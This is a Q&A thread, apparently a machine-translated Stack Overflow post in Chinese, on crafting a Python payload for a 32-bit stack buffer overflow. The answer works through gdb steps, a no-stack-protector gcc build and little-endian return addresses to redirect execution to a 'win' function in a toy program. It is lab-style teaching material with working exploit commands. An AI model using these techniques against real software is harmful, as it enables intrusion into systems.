如何为缓冲区溢出生成 python 的有效载荷?

How to generate payload with python for buffer overflow?

我试图引发缓冲区溢出以便在 C 代码上执行函数。到目前为止,我已经设法找出接管 EBP 寄存器的字节数是多少。接下来唯一要做的就是将 EIP 的地址替换为我希望执行的函数。我正在尝试使用 python 生成此有效负载。为此,我使用以下

python -c 'print "A"*112 + "\x3b\x86\x04\x08"'  > attack_payload

这就是我得到的

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;�

注意最后几个字符!我知道这不是我应该得到的。我希望在 EIP 寄存器上 运行 的地址是 0804863b。我必须将它放在 little endian 上才能正确利用 运行。对此有何评论?

如果你运行这个负载:

python -c 'print "A"*112 + "B"*4'  > attack_payload

然后如果你控制了 PC (EIP=42424242)

(gdb) r < attack_payload

您可以用您的地址替换“BBBB0804863b

python -c 'print "A"*112 + "\x3b\x86\x04\x08"'  > attack_payload

就这些了,有没有EIP控件之前先验证一下。

更多信息(我看到了源代码),以简单的方式(为了更好的解释)尝试使用以下命令编译

gcc -o main main.c -fno-stack-protector -g -m32

运行 它与调试器 (gdb ./main) 并设置以下断点

gef➤  b 13
Breakpoint 2 at 0x8048611: file main.c, line 13.

继续并插入以下有效载荷

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC

按照说明继续

 →  0x804862d <stringLength+60> ret    

并且您可以看到现在您可以控制 ret 值

gef➤  bt
#0  0x0804862d in stringLength () at main.c:14
#1  0x43434343 in ?? ()
#2  0x08048800 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
gef➤  x/x $sp
0xffffd5ec: 0x43434343

现在可以用win函数的地址替换“CCCC

gef➤  p win
 = {void ()} 0x80485dd <win>

您可以使用一个简单的 python 脚本(尝试查看此库 pwntools)实现所有自动化,您的有效负载将是:

payload = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
payload += "\xdd\x85\x04\x08"

或者你也可以运行

python -c 'print "1"+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\xdd\x85\x04\x08"' | ./main